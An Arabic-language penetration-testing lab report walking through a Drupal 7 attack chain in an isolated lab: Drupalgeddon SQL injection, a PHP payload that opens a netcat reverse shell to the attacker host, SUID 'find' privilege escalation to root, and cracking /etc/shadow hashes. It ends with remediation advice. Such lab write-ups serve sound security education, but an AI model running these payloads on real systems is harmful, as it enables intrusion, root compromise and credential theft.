مختبر اختبار الاختراق : سلسلة استغلال الويب والنظام (دروبال إلى الجذر)

إخلاء المسؤولية

تم تنفيذ هذا المشروع في بيئة مختبرية خاضعة للرقابة ومعزولة لأغراض تعليمية وأكاديمية. لم يتم استهداف أي بنية تحتية حقيقية. الهدف هو تعلم تأمين الأنظمة من خلال فهم آليات الهجوم.

---

بيئة العمل والأهداف

السيناريو

الهدف من هذا المشروع هو إجراء تدقيق في الصندوق الأسود (Black Box). وهذا يعني أن التحليل يبدأ دون أي معرفة مسبقة بالهدف: لم يتم تقديم أي معرّفات أو وثائق تقنية أو كود مصدر.

بنية المختبر

تم نشر البنية التحتية افتراضيًا على VMware في شبكة خاصة معزولة (Host-Only) لتجنب أي تفاعل مع الخارج.

• جهاز المهاجم (كالي لينكس): 192.168.78.131
  • الأدوات: Nmap، Python، Netcat، John the Ripper.
• الجهاز المستهدف (الضحية): 192.168.78.132
  • نظام التشغيل: لينكس (Debian).
  • الحالة الأولية: غير معروفة.

---

المرحلة 1: الاستطلاع والتحديد

تكونت الخطوة الأولى من رسم خريطة سطح الهجوم للجهاز المستهدف باستخدام فحص المنافذ.

الأمر المنفذ: nmap -sV 192.168.78.132

الخدمات المحددة:

• المنفذ 22 (TCP): SSH (OpenSSH 6.0p1).
• المنفذ 80 (TCP): خادم HTTP (Apache 2.2.22).
• المنفذ 111 (TCP): rpcbind.

كشف تحليل خدمة الويب (المنفذ 80) وملف robots.txt عن وجود نظام إدارة محتوى دروبال. وسمح فحص الكود المصدري بتحديد إصدار قديم: دروبال 7.x.

---

تحليل الثغرات

أظهرت نتائج مرحلة الاستطلاع سطح هجوم حرج: نظام إدارة محتوى دروبال 7 غير مُدار. هذا الإصدار معروف تاريخيًا بكونه عرضة لثغرات أمنية كبيرة (خاصة "Drupalgeddon").

في مواجهة هذه الملاحظة، توجه التدقيق نحو بحث مستهدف عن ثغرات عامة (CVE). أكد هذا التعداد وجود سلسلة استغلال كاملة، تسمح بالانتقال من زائر ويب عادي إلى مسؤول نظام "الجذر".

نواقل الهجوم المحددة:

1. الويب: حقن SQL (CVE-2014-3704).
2. التطبيقي: سوء تكوين وحدة "PHP Filter".
3. النظام: أذونات SUID خطيرة على ثنائيات النظام.

---

الاستغلال (سلسلة القتل)

الخطوة 1: الاختراق الأولي (حقن SQL)

استغلال الثغرة CVE-2014-3704 (Drupalgeddon). تسمح هذه الثغرة في واجهة برمجة تطبيقات قاعدة بيانات دروبال بحقن أوامر SQL دون مصادقة.

• الإجراء: حقن مستخدم جديد في جدول users بصلاحيات المسؤول.
• النتيجة: الوصول إلى لوحة إدارة نظام إدارة المحتوى.

الحصول على سكريبت بايثون

الخطوة 2: تنفيذ الكود (RCE و Reverse Shell)

بمجرد الاتصال كمسؤول، استخدام الوحدة الأصلية PHP Filter. هذه الوحدة، التي تم تكوينها بشكل خاطئ، تسمح بتنفيذ كود PHP عشوائي في صفحات الموقع.

• الحمولة: <?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>
• النتيجة: الحصول على شل عن بعد على جهاز Kali (المستخدم www-data).

الخطوة 3: تصعيد الامتيازات (إلى الجذر)

تحليل الملفات التي تمتلك صلاحية SUID (Set User ID). اكتشاف تكوين خطير على الأمر find.

• أمر التصعيد: find . -exec '/bin/sh' \;
• النتيجة: يتم تنفيذ الثنائي find كجذر، مما يطلق شل بصلاحيات الجذر (uid=0).

الخطوة 4: ما بعد الاستغلال

بمجرد الحصول على الوصول كجذر، قراءة الملف الحساس /etc/shadow لاستخراج بصمات (هاشات) كلمات مرور المستخدمين.

• الإجراء: استخدام John the Ripper لكسر هاشات SHA-512 بواسطة هجوم القاموس.
• النتيجة: استرداد كلمة مرور الجذر/المستخدم (تعقيد ضعيف)، مما يسمح بالاستمرار على النظام.

---

ملخص

كشف التدقيق عن مستوى خطر حرج. إن الجمع بين نظام إدارة محتوى قديم وإهمال في تكوين النظام (SUID) يسمح بالاختراق الكامل للخادم.

التأثيرات على المؤسسة:

• السرية: إمكانية استخراج قاعدة بيانات العملاء وملفات النظام (/etc/shadow).
• السلامة: تعديل أو حذف كامل لبيانات الموقع.
• التوفر: خطر التخريب أو انقطاع الخدمة.

خطة العمل ذات الأولوية:

1. التحديث: ترحيل دروبال إلى أحدث إصدار مستقر لإصلاح ثغرة SQLi.
2. تعزيز النظام: إزالة بت SUID من الملفات القابلة للتنفيذ غير الأساسية (chmod u-s /usr/bin/find).
3. أقل امتياز: تعطيل وحدة PHP Filter إذا لم تكن ضرورية بشكل صارم.

---

الوثائق

للحصول على التفاصيل التقنية الكاملة والسكريبتات المستخدمة والتحليل المتعمق، راجع التقرير الكامل: قراءة تقرير التدقيق (PDF)

المؤلف

Fabien MOINE